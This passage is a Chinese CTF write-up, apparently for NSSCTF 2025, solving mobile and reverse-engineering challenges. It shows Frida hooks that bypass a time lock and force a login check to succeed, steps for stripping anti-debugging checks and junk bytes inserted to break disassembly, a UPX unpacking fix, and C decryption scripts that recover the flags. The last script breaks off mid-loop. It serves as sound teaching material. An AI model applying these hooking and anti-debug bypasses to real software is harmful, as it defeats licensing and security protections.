MOBILE

催眠APP

题目信息:盯着屏幕看四天就能拿到flag,从招新赛开始挂着直到结束应该能出

可直接通过 frida 把 hook 掉绕过时间限制拿到 flag

Java.perform(function () {
  console.log("[*] Starting Hypnosis App Delay Bypass Hook...");

  // 1. 获取 kotlinx.coroutines.DelayKt 类
  // 注意: 延迟函数通常是静态扩展函数,Frida 需要直接访问实现它的类。
  // 在 Android/Kotlin环境中,静态扩展函数的实现通常在对应的 'Kt' 后缀类中。
  var DelayKt = null;
  try {
  
    DelayKt = Java.use("kotlinx.coroutines.DelayKt");
  } catch (e) {
    console.error(
      "[-] Failed to find kotlinx.coroutines.DelayKt: " + e.message
    );
    console.error(
      "[-] Ensure the target process is running and this class exists."
    );
    return;
  }

  // 2. Hook delay(long timeMillis, Continuation<? super Unit> $completion) 方法
  try {
    DelayKt.delay.implementation = function (timeMillis, continuation) {
      // 目标延迟:345600000L (96小时)
      var TARGET_DELAY_MILLIS = 345600000;

      console.log("[>] Delay called with time: " + timeMillis + " ms");

      if (timeMillis.valueOf() === TARGET_DELAY_MILLIS) {
        console.warn("[!] DETECTED 96 HOUR TIME LOCK! Bypassing...");

        // 强制返回 kotlin.Unit.INSTANCE,表示协程立即完成等待
        // 相当于跳过了 delay() 函数,让协程立即执行后续代码 (设置 showBannerState = true)
        return Java.use("kotlin.Unit").INSTANCE;
      } else {
        // 对于其他正常的、较短的延迟(例如动画延迟),调用原始方法
        return this.delay(timeMillis, continuation);
      }
    };

    console.log(
      "[+] Hook successful. kotlinx.coroutines.DelayKt.delay is now monitored."
    );
  } catch (e) {
    console.error("[-] Failed to hook delay function: " + e.message);
  }
});

哈基frida

主要逻辑写在了这个方法

public static final Unit SimpleFormUI$lambda$17$lambda$16$lambda$15$lambda$14(MutableState $username$delegate, MutableState $password$delegate, MutableState $message$delegate) {
    boolean z;
    try {
        byte[] key = "Ysyy_Is_DownLow!".getBytes(Charsets.UTF_8);
        Intrinsics.checkNotNullExpressionValue(key, "getBytes(...)");
        byte[] iv = "Re1sen_Is_a_God!".getBytes(Charsets.UTF_8);
        Intrinsics.checkNotNullExpressionValue(iv, "getBytes(...)");
        decode(key_, key, iv, decodedState);
        z = true;
    } catch (Exception e) {
        $message$delegate.setValue("加密失败: " + e.getMessage());
    }
    if (!(SimpleFormUI$lambda$1($username$delegate).length() == 0)) {
        if (SimpleFormUI$lambda$4($password$delegate).length() != 0) {
            z = false;
        }
        if (!z) {
            if (Intrinsics.areEqual(decodedState.mo7342getValue(), SimpleFormUI$lambda$1($username$delegate))) {
                Native.Companion companion = Native.Companion;
                byte[] bytes = SimpleFormUI$lambda$4($password$delegate).getBytes(Charsets.UTF_8);
                Intrinsics.checkNotNullExpressionValue(bytes, "getBytes(...)");
                byte[] bytes2 = decodedState.mo7342getValue().getBytes(Charsets.UTF_8);
                Intrinsics.checkNotNullExpressionValue(bytes2, "getBytes(...)");
                boolean encrypted = companion.rc4Encrypt(bytes, bytes2);
                if (encrypted) {
                    $message$delegate.setValue("登录成功");
                } else {
                    $message$delegate.setValue("密码错误");
                }
            } else {
                $message$delegate.setValue("用户名错误");
            }
            return Unit.INSTANCE;
        }
    }
    $message$delegate.setValue("请输入用户名和密码");
    return Unit.INSTANCE;
}

​

通过 frida hook decode(key_, key, iv, decodedState); 方法可以拿到密

钥,hook rc4Encrypt 方法可以绕过 rc4Encrypt 返回值,实现简单登录

​

Java.perform(function () {
  

  var MainActivityKt = Java.use(
    "com.example.nssctf_2025_ad_med.MainActivityKt"
  );
  var NativeCompanion = Java.use(
    "com.example.nssctf_2025_ad_med.Native$Companion"
  );

  // ===============================================
  // 1. Hook decode 函数,获取正确的用户名 (AES 解密结果)
  // ===============================================
  MainActivityKt.decode.implementation = function (
    encoded,
    key,
    iv,
    decodedState
  ) {
    // 先运行原函数逻辑
    this.decode(encoded, key, iv, decodedState);

    // 打印解密后的用户名
    var correctUsername = decodedState.getValue();
    console.log("------------------------------------------");
    console.log("[!!!] AES Decode Success!");
    console.log("[!!!] Correct Username is: ==> " + correctUsername + " <==");
    console.log("------------------------------------------");
  };
  NativeCompanion.rc4Encrypt.implementation = function (
    userFlagBytes,
    correctUsernameBytes
  ) {
    var usernameKey = new String(correctUsernameBytes);
    var inputFlag = new String(userFlagBytes);

    console.log("------------------------------------------");
    console.log("[+] Expected Username (RC4 Key): " + usernameKey);
    console.log("[+] User Input Flag: " + inputFlag);
    return true;
  };

});

​

但是好像不像之前那题可以直接拿到 flag 还是要逆


public final native boolean rc4Encrypt(byte[] bArr, byte[] bArr2);
方法写在了 native 层
libnssctf_2025_ad_med.so 拖入 ida 进行分析

​

 __int64 __fastcall Java_com_example_nssctf_12025_1ad_1med_Native_00024Companion_rc4Encrypt(
        __int64 a1,
        __int64 a2,
        __int64 a3,
        __int64 a4)
{
...
...
  v16 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40);
  ArrayLength = _JNIEnv::GetArrayLength(a1, a3);
  v9 = _JNIEnv::GetArrayLength(a1, a4);
  ByteArrayElements = (unsigned __int8 *)_JNIEnv::GetByteArrayElements(a1, a3);
  v7 = (unsigned __int8 *)_JNIEnv::GetByteArrayElements(a1, a4);
  rc4_init(v15, v7, v9);
  v6 = (unsigned __int8 *)operator new[](ArrayLength);
  rc4_crypt(v15, ByteArrayElements, v6, ArrayLength);
  __android_log_print(3, "RC4_JNI", aRc4);
  for ( i = 0; i < ArrayLength; ++i )
  {
    if ( v6[i] != enc[i] )
    {
      v14 = 0;
      goto LABEL_7;
    }
  }
  v14 = 1;
LABEL_7:
  _ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2));
  return v14;
}

​

看的出来是用了标准的 rc4 加密 但后面还要 异或 key

​

unsigned __int64 __fastcall rc4_crypt(unsigned __int64 result, unsigned __int8 *a2, unsigned __int8 *a3, int a4)
{
...
...
  v13 = result;
  v9 = 0;
  v8 = 0;
  v6 = 0;
  for ( i = 0; i < a4; ++i )
  {
    v9 = (v9 + 1) % 256;
    v8 = (v8 + *(v13 + v9)) % 256;
    v5 = *(v13 + v9);
    *(v13 + v9) = *(v13 + v8);
    *(v13 + v8) = v5;
    v4 = a2[i] ^ *(v13 + (*(v13 + v9) + *(v13 + v8)) % 256);
    result = __strlen_chk(KK, 0xCu);
    a3[i] = v4 ^ KK[v6++ % result];
  }
  return result;
}

提取 密钥跟 key 进行解密

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
// s 表的长度取 256
#define size 256

unsigned char sbox[257] = {0};

// 初始化 s 表
void init_sbox(unsigned char *key)
{
    unsigned int i, j, k;
    int tmp;

    for (i = 0; i < size; i++)
    {
        sbox[i] = i;
    }

    j = k = 0;
    for (i = 0; i < size; i++)
    {
        tmp = sbox[i];
        j = (j + tmp + key[k]) % size;
        sbox[i] = sbox[j];
        sbox[j] = tmp;
        if (++k >= strlen((char *)key))
            k = 0;
    }
}

// 加解密函数
void enc_dec(unsigned char *key, unsigned char *data)
{
    int i, j, k, R, tmp;

    init_sbox(key);

    j = k = 0;
    for (i = 0; i < 38; i++)
    {
        j = (j + 1) % size;
        k = (k + sbox[j]) % size;

        tmp = sbox[j];
        sbox[j] = sbox[k];
        sbox[k] = tmp;

        R = sbox[(sbox[j] + sbox[k]) % size];

        data[i] ^= R;
    }
}

int main()
{
    unsigned char key[100] = "Re1sen";
    unsigned char enc[] =
        {0x5B, 0xB6, 0x23, 0xCE, 0x87, 0xCC, 0x4A, 0xAB, 0x8A, 0x3C,
         0xC0, 0xBB, 0x6E, 0x82, 0xF7, 0x61, 0x63, 0xA4, 0x65, 0x59,
         0x28, 0xC9, 0xB9, 0x2D, 0x77, 0xF0, 0x2B, 0xC7, 0x66, 0x86,
         0x7A, 0x3D, 0xB5, 0x04, 0x59, 0xAB, 0xA0, 0x30};
    uint8_t kk[] = "SakuraiCora";
    init_sbox(key);
    enc_dec(key, enc);
    for (int i = 0; i < 38; i++)
    {
        enc[i] = enc[i] ^ kk[i % strlen(kk)];
        printf("%c", enc[i]);
    }
}
// NSSCTF{Hakimi_North-South_Green_Beans}

REVERCE

一种很新的签到


拖入 ida 看一下字符串想找一下逻辑代码 flag 就在里面



flower~


拖 ida 发现一片爆红 明显存在花指令

常见的jz jnz 指令类型,干扰 ida 静态分析,无限跳转 ,按 u 取消定义一下 把 0E8h 脏指令 nop 掉


后面也是一样的类型,发现 地址+1 把跟进地址取把前面一个字节 nop 掉就行 ,处理完之后 到函数头 按 p 生成函数就可以看伪 c 代码了

​

int __cdecl main(int argc, const char **argv, const char **envp)
{
  ....
  sub_401230("ciallo~_look_look_your_flag: ");
  v3 = __acrt_iob_func(0);
  fgets(Buffer, 256, v3);
  v6 = strcspn(Buffer, "\n");
  if ( v6 >= 0x100 )
    sub_40138D();
  Buffer[v6] = 0;
  v7 = strlen(Buffer) == 27;
  for ( i = 0; i < 0x1B && i < strlen(Buffer); ++i )
  {
    if ( aCvTg13o6r57[i] != (loc_401000)(Buffer[i], i) )
    {
      v7 = 0;
      break;
    }
  }
  if ( v7 )
    v5 = "\nCorrect!";
  else
    v5 = "\nNO_NO_NO!!!";
  puts(v5);
  return 0;
}

主要加密函数 在 loc_401000 函数跟进看一下 ,这个函数同样也有花指令,也是同样的方法去除一下。
sub_401000 函数如下,加密逻辑很简单之后拿密钥跟密文逆回去就行

int __cdecl sub_401000(char a1, unsigned int a2)
{
  return ((byte_415170[a2 % 7] ^ a1) + 33) ^ 0xD;
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main()
{

    uint8_t key[] = "ciallo~";
    unsigned char ida_chars[] =
        {0x43, 0x56, 0x5E, 0x5D, 0x54, 0x47, 0x2B, 0x2B, 0x2B, 0x22,
         0x31, 0x27, 0x33, 0x4F, 0x26, 0x36, 0x52, 0x22, 0x27, 0x22,
         0x21, 0x35, 0x2C, 0x25, 0x37, 0x2C, 0x3E};

    for (int i = 0; i < sizeof(ida_chars); i++)
    {
        ida_chars[i] = (((ida_chars[i]) ^ 0xD) - 33) ^ key[i % 7];
        printf("%c", ida_chars[i]);
    }
}
//NSSCTF{flower_is_beautiful}
来了嗷,常见加密大杂烩!

说实话看完这题感觉挺费劲的,常见加密算法都在里面了这些算法也经过了魔改,但好在符号名没有去也便于我们识别主要的算法 加密流程: 用户输入 -> tea加密 ->xtea 魔改加密 -> rc4 加密->最后经过 base64 编码。
有了基本的正向加密流程,只要分析出各个魔改点就很好逆了

int __fastcall main(int argc, const char **argv, const char **envp)
{
...
...
  _main(argc, argv, envp);
  printf("please input flag:");
  if ( scanf("%99s", Str) != 1 )
    return 0;
  len = strlen(Str);
  if ( len == 32 )
  {
    memset(v7, 0, sizeof(v7));
    for ( j = 0; j <= 7; ++j )
      *(v7 + j) = (Str[4 * j + 3] << 24) | (Str[4 * j + 2] << 16) | (Str[4 * j + 1] << 8) | Str[4 * j];
    for ( i = 0; i <= 7; i += 2 )
    {
      tea_encrypt(v7 + i, "sauyysyyzackheyiscscicy");
      xtea_encrypt(v7 + i, "scscicy");
    }
    in = v7;
    v4 = strlen("CreamBread");
    rc4_crypt(v6, v7, len, "CreamBread", v4);
    b64_encode(in, len, Str1);
    strcpy(Str2, "2FDjeKsMelmcoyk4AbBvVNXlgv5TRGAWT+AKXHjHn4m=");
    if ( !strcmp(Str1, Str2) )
      puts("You get flag!");
    else
      puts("Wrong flag!");
    return 0;
  }
  else
  {
    printf("Wrong length!");
    return 0;
  }
}

tea 主要是 delta 换了没有好说的

  for ( i = 0; i <= 31; ++i )
  {
    v4 += 0x4E5353;
    v6 += (v5 + v4) ^ (16 * v5 + *key) ^ ((v5 >> 5) + key[1]);
    v5 += (v6 + v4) ^ (16 * v6 + key[2]) ^ ((v6 >> 5) + key[3]);
  }

xtea delta 换了,然后 key 值通过 左移 2 位将 key 的长度变长了,注意 key 要拿对这很关键

  for ( i = 0; i <= 31; ++i )
  {
    v6 += (((v5 >> 5) ^ (16 * v5)) + v5) ^ (*(4i64 * (sum & 3) + key) + sum);
    sum += 0x435446;
    v5 += (((v6 >> 5) ^ (16 * v6)) + v6) ^ (*(4i64 * ((sum >> 11) & 3) + key) + sum);
  }

rc4 是标准的 xor 可以动调提取一下最后 base64 编码也是标准的
加密算法分析到这里就可以正常写脚本逆了

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
unsigned char sbox[257] = {0};

char base64[65] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/";

void enc_tea(unsigned int *text, unsigned int *key)
{
    unsigned int delta = 0x4E5353; // -delta
    unsigned int sum = 0;
    unsigned int v1 = text[1];
    unsigned int v0 = text[0];

    for (int i = 0; i < 32; i++)
    {
        sum += delta;
        v0 += (v1 + sum) ^ ((v1 << 4) + key[0]) ^ ((v1 >> 5) + key[1]);
        v1 += (v0 + sum) ^ ((v0 << 4) + key[2]) ^ ((v0 >> 5) + key[3]);
    }
    text[1] = v1;
    text[0] = v0;
}

void decry_tea(unsigned int *text, unsigned int *key)
{
    unsigned int delta = 0x4E5353; // -delta
    unsigned int sum = delta * 32; //   v16
    unsigned int v1 = text[1];
    unsigned int v0 = text[0];

    for (int i = 0; i < 32; i++)
    {
        v1 -= (v0 + sum) ^ ((v0 << 4) + key[2]) ^ ((v0 >> 5) + key[3]);
        v0 -= (v1 + sum) ^ ((v1 << 4) + key[0]) ^ ((v1 >> 5) + key[1]);
        sum -= delta;
        // printf("%d\n",sum);
    }
    text[1] = v1;
    text[0] = v0;
}

void xtea_decrypt(uint32_t v[2])
{
    uint8_t key[] = {0x73, 0x63, 0x73, 0x63, 0x69, 0x63, 0x79, 0x00, 0x54, 0x69,
                     0x6B, 0x65, 0x52, 0x65, 0x69, 0x73, 0x43, 0x72, 0x65, 0x61,
                     0x6D, 0x42, 0x72, 0x65, 0x61, 0x64, 0x00};
    uint32_t v0 = v[0],
             v1 = v[1];
    uint32_t delta = 0x435446;
    uint32_t sum = delta * 32;
    for (int i = 0; i < 32; i++)
    {

        v1 -= (((v0 >> 5) ^ (16 * v0)) + v0) ^ (*(uint32_t *)(4 * ((sum >> 11) & 3) + key) + sum);
        sum -= delta;
        v0 -= (((v1 >> 5) ^ (16 * v1)) + v1) ^ (*(uint32_t *)(4 * (sum & 3) + key) + sum);

        // v0 += (((v1 >> 5) ^ (16 * v1)) + v1) ^ (*(uint32_t *)(4 * (sum & 3) + key) + sum);
        // sum += delta;
        // v1 += (((v0 >> 5) ^ (16 * v0)) + v0) ^ (*(uint32_t *)(4 * ((sum >> 11) & 3) + key) + sum);
    }
    v[0] = v0;
    v[1] = v1;
}

void xtea_enc(uint32_t v[2])
{
    uint8_t key[] = {0x73, 0x63, 0x73, 0x63, 0x69, 0x63, 0x79, 0x00, 0x54, 0x69,
                     0x6B, 0x65, 0x52, 0x65, 0x69, 0x73, 0x43, 0x72, 0x65, 0x61,
                     0x6D, 0x42, 0x72, 0x65, 0x61, 0x64, 0x00};

    uint32_t v0 = v[0], v1 = v[1];
    uint32_t delta = 0x435446;
    uint32_t sum = 0;
    for (int i = 0; i < 32; i++)
    {
        v0 += (((v1 >> 5) ^ (16 * v1)) + v1) ^ (*(uint32_t *)(4 * (sum & 3) + key) + sum);
        sum += delta;
        v1 += (((v0 >> 5) ^ (16 * v0)) + v0) ^ (*(uint32_t *)(4 * ((sum >> 11) & 3) + key) + sum);
    }
    v[0] = v0;
    v[1] = v1;
}

// 加解密函数
void rc4_decrypt(uint8_t *v)
{
    uint8_t s_box[] = {0x84, 0x30, 0xa, 0x6b, 0x1d, 0x78, 0xd3, 0xcc, 0x20, 0x92, 0x31, 0xaf, 0x3e, 0x2d, 0x21, 0x70, 0xe5, 0x32, 0x3c, 0x50, 0xe2, 0xf1, 0x64, 0xaa, 0x88, 0xd0, 0x6c, 0x46, 0x74, 0xe3, 0x2a, 0x83};

    for (int i = 0; i < 32; i++)
    {
        v[i] = v[i] ^ s_box[i];
    }
}

void decodeBase64(char *str, int len, char **in)
{

    char ascill[129];
    int k = 0;
    for (int i = 0; i < 64; i++)
    {
        ascill[base64[i]] = k++;
    }
    int decodeStrlen = len / 4 * 3 + 1;
    char *decodeStr = (char *)malloc(sizeof(char) * decodeStrlen);
    k = 0;
    for (int i = 0; i < len; i++)
    {
        decodeStr[k++] = (ascill[str[i]] << 2) | (ascill[str[++i]] >> 4);
        if (str[i + 1] == '=')
        {
            break;
        }
        decodeStr[k++] = (ascill[str[i]] << 4) | (ascill[str[++i]] >> 2);
        if (str[i + 1] == '=')
        {
            break;
        }
        decodeStr[k++] = (ascill[str[i]] << 6) | (ascill[str[++i]]);
    }
    decodeStr[k] = '\0';
    *in = decodeStr;
}

int main()
{

    uint8_t enc[] = "2FDjeKsMelmcoyk4AbBvVNXlgv5TRGAWT+AKXHjHn4m=";
    uint8_t *out;

    decodeBase64(enc, sizeof(enc), (char **)&out);

    rc4_decrypt(out);

    uint32_t *v7 = (uint32_t *)out;

    uint8_t tea_key[] = {0x73, 0x61, 0x75, 0x79, 0x79, 0x73, 0x79, 0x79, 0x7A, 0x61,
                         0x63, 0x6B, 0x68, 0x65, 0x79, 0x69, 0x73, 0x63, 0x73, 0x63,
                         0x69, 0x63, 0x79, 0x00};

    for (int j = 0; j <= 7; j += 2)
    {
        uint32_t *k = (uint32_t *)tea_key;
        xtea_decrypt(v7 + j);
        decry_tea(v7 + j, k);
    }
    for (int i = 0; i < 32; i++)
    {
        printf("%c", out[i]);
    }
}
// NSSCTF{RC4_Base64_Tea_Master!!!}
Ultimate Packer for eXecutables

Die 查到了是加了壳的,是常见的 upx 壳

但会发现 正常的 upx -d 是拖不掉的,ida 观看一下区段发现被改掉了,用 010 editor 把区段名改回来就行



正常拖

加密逻辑很简单 ,正常拿密文逆回去就行,也可以穷举求解

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+28h] [rbp-8h]
  int i; // [rsp+2Ch] [rbp-4h]

  _main(argc, argv, envp);
  printf("please input flag:");
  scanf("%99s", input_1);
  v4 = strlen(input_1);
  for ( i = 0; i < v4; ++i )
    input_1[i] = 122 * input_1[i] - 23;
  if ( !strcmp(input_1, &enc_0) )
    puts("You get flag!");
  else
    puts("Wrong flag!");
  return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main()
{

    unsigned char enc_0[] =
        {
            0x15, 0x77, 0x77, 0xD7, 0xF1, 0x45, 0x87, 0x6B, 0x49, 0x19,
            0xEF, 0x93, 0xB7, 0x93, 0x93, 0xA3, 0xB7, 0x23, 0xAB, 0x93,
            0xA3, 0x17, 0xB1, 0x3D, 0x49, 0xA3, 0x7B};
    for (int i = 0; i < sizeof(enc_0); i++)
    {
        for (int c = 0; c < 127; c++)
        {
            uint8_t t = 122 * c - 23;
            if (t == enc_0[i])
            {
                printf("%c", c);
                break;
            }
        }
    }
}
// NSSCTF{Upx?ysyy!sauy!c4rp!}
debuggggg

定位到关键函数如下:
主要是通过 rand() 随机函数进行对大小写字符进行 移位操作,执行 rand 函数之前要对其初始化种子 ,题目叫 debug 但有两种思路方法 ,一是 根据题目意思进行debug 把 rand 值调试出来 ,二 则可以通过找 初始化 srand 函数设置的时间种子

unsigned __int64 sub_60BB28737317()
{
...
...
  v10 = __readfsqword(0x28u);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "input flag:");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  *(_QWORD *)s = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  std::operator>><char,std::char_traits<char>>(&std::cin, s);
  if ( (unsigned int)strlen(s) == 32 )
  {
    qmemcpy(v9, "XLVGSD{mfbuha_sstgpr_9d_acc_wbi}", 32);
    memset(v4, 0, sizeof(v4));
    for ( i = 0; i <= 31; ++i )
    {
      v4[i] = rand() % 255;
      if ( s[i] <= 96 || s[i] > 122 )
      {
        if ( s[i] <= 64 || s[i] > 90 )
        {
          if ( s[i] > 47 && s[i] <= 57 )
            s[i] = (s[i] - '0' + v4[i] % 10) % 10 + '0';
        }
        else
        {
          s[i] = (s[i] - 'A' - v4[i] % 26 + 26) % 26 + 'A';
        }
      }
      else
      {
        s[i] = (s[i] - 'a' + v4[i] % 26) % 26 + 'a';
      }
    }
    sub_60BB2873726B((__int64)s, (__int64)v9);
  }
  else
  {
    v1 = std::operator<<<std::char_traits<char>>(&std::cout, "wrong length");
    std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  }
  return v10 - __readfsqword(0x28u);
}

可以看一下初始化函数数组 _init_array 看一下有没有用户写的代码逻辑
这里看到是有的

srand 设置了 0xABCu固定值

void sub_1249()
{
  seed = 2748;
  srand(0xABCu);
}

拿到后可以正常搓脚本了

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    char encrypted[] = "XLVGSD{mfbuha_sstgpr_9d_acc_wbi}";
    int len = strlen(encrypted);
    int v4[32] = {0x44, 0x7, 0x31, 0x98, 0x83, 0xec, 0xb5, 0x63, 0xef, 0x28, 0x79, 0xe3, 0xc4, 0x9e, 0xd5, 0xce, 0xf1, 0xef, 0xf5, 0x9c, 0x64, 0x3b, 0xc, 0x1, 0xdd, 0x42, 0x3d, 0xbd, 0x30, 0xb6, 0x6, 0x74};
    char decrypted[33];
    decrypted[32] = '\0';
    for (int i = 0; i < len; i++)
    {
        char c = encrypted[i];
        if (c >= 'a' && c <= 'z')
        {
            int r = v4[i] % 26;
            decrypted[i] = (c - 'a' - r + 26) % 26 + 'a';
        }
        else if (c >= 'A' && c <= 'Z')
        {
            int r = v4[i] % 26;
            decrypted[i] = (c - 'A' + r) % 26 + 'A';
        }
        else if (c >= '0' && c <= '9')
        {
            int r = v4[i] % 10;
            decrypted[i] = (c - '0' - r + 10) % 10 + '0';
        }
        else
        {
            decrypted[i] = c;
        }
    }

    printf("解密结果: %s\n", decrypted);

    return 0;
}
// NSSCTF{random_number_0r_not_abc}
ez_tea

这题咋说呢,嗯 ... 前面缺失了密文数据,导致题目本身无解。后面题目附件换了才得以有解

根据特征可以定位到 main 函数 虽然符号没了,
知道加密函数 在 enc_1400110F5 (这里我修改了变量名)

__int64 sub_140013EB0()
{
...
...
  v0 = &v4;
  for ( i = 590i64; i; --i )
  {
    *(_DWORD *)v0 = -858993460;
    v0 += 4;
  }
  IsDebuggerPresent();
  sub_1400110AF(&unk_14001D2BC, v5);
  v6 = sub_14001143D(v5);
  j_strcpy(Destination, Source);
  sub_1400110F5(v5, v7, v6, Destination);
  for ( j = 0; j < v6; ++j )
  {
    if ( v7[j] != byte_140020000[j] )
    {
      sub_1400111E5(&unk_14001D338);
      exit(0);
    }
  }
  sub_1400111E5(&unk_14001D348);
  sub_14001137A(v3, &unk_14001D270);
  return 0i64;
}

跟进发现是一个魔改 xtea 加密 不着急慢慢看

__int64 __fastcall sub_140013A30(__int64 a1, __int64 a2, unsigned __int64 a3, const void *a4)
{
...
...
  v4 = &v8;
  for ( i = 38i64; i; --i )
  {
    *v4 = -858993460;
    v4 += 4;
  }
  sub_1400113F2(&unk_140026102);
  j_memcpy(v9, a4, 0x10ui64);
  for ( j = 0i64; j < a3; j += 8i64 )
  {
    v11 = (j + a1);
    v12 = (a1 + j + 4);
    sub_140011334(j + a1, v12, v9);
    *(j + a2) = *v11;
    *(j + a2 + 4) = *v12;
  }
  return sub_14001137A(v7, &unk_14001D030);
}
__int64 __fastcall sub_1400138F0(_DWORD *a1, _DWORD *a2, __int64 a3)
{
  __int64 result; // rax
  unsigned int v4; // [rsp+24h] [rbp+4h]
  int i; // [rsp+64h] [rbp+44h]

  result = sub_1400113F2(&unk_140026102);
  v4 = 0;
  for ( i = 0; i < 32; ++i )
  {
    v4 += 218105633;
    *a1 += (*a2 >> 5) ^ (*(a3 + 4i64 * ((v4 >> 11) & 3)) + 16 * *a2);
    *a2 += (*a1 >> 5) ^ (*(a3 + 4i64 * (((v4 >> 11) ^ 1) & 3)) + 16 * *a1);
    result = (i + 1);
  }
  return result;
}

嗯? 看到这里 是不是觉得很简单,很简单就对了要不然题目为什么取名为 ez_tea ,带 ez 的一般就没有那么 ez
首先 initterm 定义了函数初始化列表,这些函数主要实现了 SMC自修改,和反调试。
我的思路主要是先把反调试给去了 ,由于函数比较少然后手动动调看看原本的函数哪些被 hook掉了 ,(这是最快的)

  else
  {
    dword_7FF77BCE0928 = 1;
    if ( j__initterm_e(&First, &Last) )
      return 255i64;
    j__initterm(&qword_7FF77BCDC000, &qword_7FF77BCDC340);
    dword_7FF77BCE0928 = 2;
  }


首先去一下反调试
第一处:

__int64 sub_1400132B0()
{
  HMODULE ModuleHandleA; // rax
  __int64 (*RtlGetNtGlobalFlags)(void); // rax
  __int64 result; // rax

  sub_1400113F2(&unk_140026102);
  ModuleHandleA = GetModuleHandleA("ntdll.dll");
  RtlGetNtGlobalFlags = GetProcAddress(ModuleHandleA, "RtlGetNtGlobalFlags");
  result = RtlGetNtGlobalFlags();
  if ( result == 112 )
  {
    sub_140011285();
    ExitProcess(0);
  }
  return result;
}

第二处:

__int64 sub_140012B90()
{
...
...
  v0 = &v7;
  for ( i = 50i64; i; --i )
  {
    *v0 = -858993460;
    v0 += 4;
  }
  sub_1400113F2(&unk_140026102);
  ModuleHandleA = GetModuleHandleA("ntdll.dll");
  NtQueryInformationProcess = GetProcAddress(ModuleHandleA, "NtQueryInformationProcess");
  v9[0] = 0;
  v10[0] = 1;
  CurrentProcess = GetCurrentProcess();
  (NtQueryInformationProcess)(CurrentProcess, 7i64, v9, 4i64, 0i64);
  v4 = GetCurrentProcess();
  (NtQueryInformationProcess)(v4, 31i64, v10, 4i64, 0i64);
  LOBYTE(v14) = IsDebuggerPresent();
  v11 = v14;
  v12 = v9[0] == -1;
  v14 = v10[0] == 0;
  v13 = v10[0] == 0;
  if ( v11 || v12 || v13 )
  {
    sub_140011285();
    ExitProcess(0);
  }
  return sub_14001137A(v6, &unk_14001D010);
}

第三处:

__int64 sub_140013D60()
{
...
...
  v0 = &v4;
  for ( i = 590i64; i; --i )
  {
    *v0 = -858993460;
    v0 += 4;
  }
  sub_1400113F2(&unk_140026102);
  if ( IsDebuggerPresent() )
  {
    sub_140011285();
    exit(0);
  }

去除以后就可以正常调试了
可以发现 hook 的是 j_strcpy 函数 F7 一路跟进

跟进可以看到是替换了这个函数

__int64 __fastcall sub_7FF784BE34E0(__int64 a1, _BYTE *a2)
{
...
  v2 = &v8;
  for ( i = 34i64; i; --i )
  {
    *v2 = -858993460;
    v2 += 4;
  }
  sub_7FF784BE13F2(&unk_7FF784BF6102);
  qmemcpy(Buf2, "1145141919810!!!", 16);
  if ( a2 && !j_memcmp(a2, Buf2, 0x10ui64) && !a2[16] )
  {
    v10 = enc2_7FF784BE1483;
    for ( j = 0; j < 8; ++j )
      sub_7FF784BE13BB(2 * j + a1, "%02X", *(v10 + j) + 78);
    v4 = a1;
  }
  else
  {
    if ( qword_7FF784BF0270 )
      v12 = qword_7FF784BF0270(a1, a2);
    else
      v12 = a1;
    v4 = v12;
  }
  v5 = v4;
  sub_7FF784BE137A(v7, &unk_7FF784BED140);
  return v5;
}

出来之后发现密钥是被修改了的

拿到正常密钥就可以解密了

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void xtea_decrypt(uint32_t v[2])
{
    uint8_t key[] = "13C67E4E4E137172";
    uint32_t v0 = v[0], v1 = v[1];
    uint32_t delta = 0xD000721;
    uint32_t sum = delta * 32;
    for (int i = 0; i < 32; i++)
    {
        v1 -= (v0 >> 5) ^ (*(uint32_t *)(key + 4 * (((sum >> 11) ^ 1) & 3)) + 16 * v0);
        v0 -= (v1 >> 5) ^ (*(uint32_t *)(key + 4 * ((sum >> 11) & 3)) + 16 * v1);
        sum -= delta;
    }
    v[0] = v0;
    v[1] = v1;
}

// void xtea_encrypt(uint32_t v[2])
// {

//     uint8_t key[] = "13C67E4E4E137172";
//     uint32_t v0 = v[0], v1 = v[1];
//     uint32_t delta = 0xD000721;
//     uint32_t sum = 0;
//     for (int i = 0; i < 32; i++)
//     {
//         sum += delta;
//         v0 += (v1 >> 5) ^ (*(uint32_t *)(key + 4 * ((sum >> 11) & 3)) + 16 * v1);
//         v1 += (v0 >> 5) ^ (*(uint32_t *)(key + 4 * (((sum >> 11) ^ 1) & 3)) + 16 * v0);
//     }
//     v[0] = v0;
//     v[1] = v1;
// }

int main()
{
    unsigned char ida_chars[] =
        {
            0xE8, 0x1C, 0xEB, 0xDD, 0x91, 0x66, 0x69, 0x46, 0xFD, 0xF5,
            0xBA, 0x47, 0xED, 0x25, 0xB6, 0x73, 0x99, 0xC4, 0x3D, 0xFD,
            0xFB, 0x7E, 0x9E, 0x01, 0x40, 0x73, 0xF8, 0x9B, 0xB4, 0x48,
            0x8B, 0xF2, 0x5A, 0xBE, 0x7F, 0xC0, 0x6E, 0xBE, 0x40, 0xD2,
            0x6B, 0xFF, 0x91, 0xB0, 0xF8, 0x0B, 0x0F, 0x7D};
    // unsigned char ida_chars[] =
    //     {
    //         0x7D, 0x91, 0xEB, 0x59, 0x8D, 0xD1, 0xF9, 0x47, 0x86, 0x76,
    //         0xEF, 0xCD, 0xA1, 0x6B, 0x07, 0x6F, 0xB8, 0x3E, 0x6A, 0x04,
    //         0x5F, 0x63, 0xBB, 0x21, 0x69, 0xC3, 0x34, 0xA3, 0x07, 0x64,
    //         0x33, 0xDE, 0xF6, 0x70, 0xEC, 0x4D, 0x5B, 0x7E, 0x2B, 0x33,
    //         0xCC, 0xA7, 0xD3, 0x4A, 0x00, 0x00, 0x00, 0x00};

    for (int i = 0; i < 48; i += 8)
    {
